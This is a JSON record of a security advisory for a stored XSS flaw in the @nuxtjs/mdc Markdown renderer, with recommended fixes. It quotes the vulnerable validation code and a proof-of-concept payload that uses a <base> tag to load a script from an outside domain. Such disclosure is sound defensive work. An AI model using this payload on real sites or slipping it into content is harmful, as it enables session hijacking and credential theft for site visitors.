{"id":"GHSA-cj6r-rrr9-fg82","revision":"ae769f045a24483aabb1d7405789406a","records":[{"revision":"ae769f045a24483aabb1d7405789406a","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-cj6r-rrr9-fg82","aliases":["CVE-2025-54075"],"title":"Nuxt MDC has an XSS vulnerability in markdown rendering that bypasses HTML filtering","description":"### Summary\nA **remote script-inclusion / stored XSS** vulnerability in **@nuxtjs/mdc** lets a Markdown author inject a `<base href=\"https://attacker.tld\">` element.  \nThe `<base>` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context.\n\n### Details\n- **Affected file**\u2003: `src/runtime/parser/utils/props.ts`  \n- **Core logic**\u2003\u2003: `validateProp()` inspects  \n  * attributes that start with `on` → blocked  \n  * `href` or `src` → filtered by `isAnchorLinkAllowed()`  \n  Every other attribute and every **tag** (including `<base>`) is allowed unchanged, so the malicious `href` on `<base>` is never validated.\n\n\n```\nexport const validateProp = (attribute: string, value: string) => {\n  if (attribute.startsWith('on')) return false\n  if (attribute === 'href' || attribute === 'src') {\n    return isAnchorLinkAllowed(value)\n  }\n  return true               // ← “href” on <base> not checked\n}\n```\n\nAs soon as `<base href=\"https://vozec.fr\">` is parsed, any later relative path—`/script.js`, `../img.png`, etc.—is fetched from the attacker’s domain.\n\n### Proof of Concept\nPlace the following in any Markdown handled by Nuxt MDC:\n\n\n```\n<base href=\"https://vozec.fr\">\n<script src=\"/xss.js\"></script>\n```\n\n1. Start the Nuxt app (`npm run dev`).  \n2. Visit the page.  \n3. The browser requests `https://vozec.fr/xss.js`, and whatever JavaScript it returns runs under the vulnerable site’s origin (unless CSP blocks it).\n\n### Impact\n- **Type**: Stored XSS via remote script inclusion  \n- **Affected apps**: Any Nuxt project using **@nuxtjs/mdc** to render user-controlled Markdown (blogs, CMSs, docs, comments…).  \n- **Consequences**: Full takeover of visitor sessions, credential theft, defacement, phishing, CSRF, or any action executable via injected scripts.\n\n### Recommendations\n1. **Disallow or sanitize `<base>` tags** in the renderer. The safest fix is to strip them entirely.  \n2. Alternatively, restrict `href` on `<base>` to same-origin URLs and refuse protocols like `http:`, `https:`, `data:`, etc. that do not match the current site origin.  \n3. Publish a patched release and document the security fix.  \n4. Until patched, disable raw HTML in Markdown or use an external sanitizer (e.g., DOMPurify) with `FORBID_TAGS: ['base']`.","state":0,"publishedAt":"2025-07-20T16:36:14+00:00","modifiedAt":"2026-09-10T03:50:57.9079965+00:00","affected":[{"ecosystem":"npm","name":"@nuxtjs/mdc","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.17.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/nuxt-modules/mdc/security/advisories/GHSA-cj6r-rrr9-fg82","https://nvd.nist.gov/vuln/detail/CVE-2025-54075","https://github.com/nuxt-modules/mdc/commit/3657a5bf2326a73cd3d906f57149146a412b962a","https://github.com/nuxt-modules/mdc"],"sourceUrl":"https://github.com/advisories/GHSA-cj6r-rrr9-fg82","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-cj6r-rrr9-fg82","identifiers":["GHSA-cj6r-rrr9-fg82","CVE-2025-54075"]},"retained":false,"historicalAffected":[]}],"coverage":[]}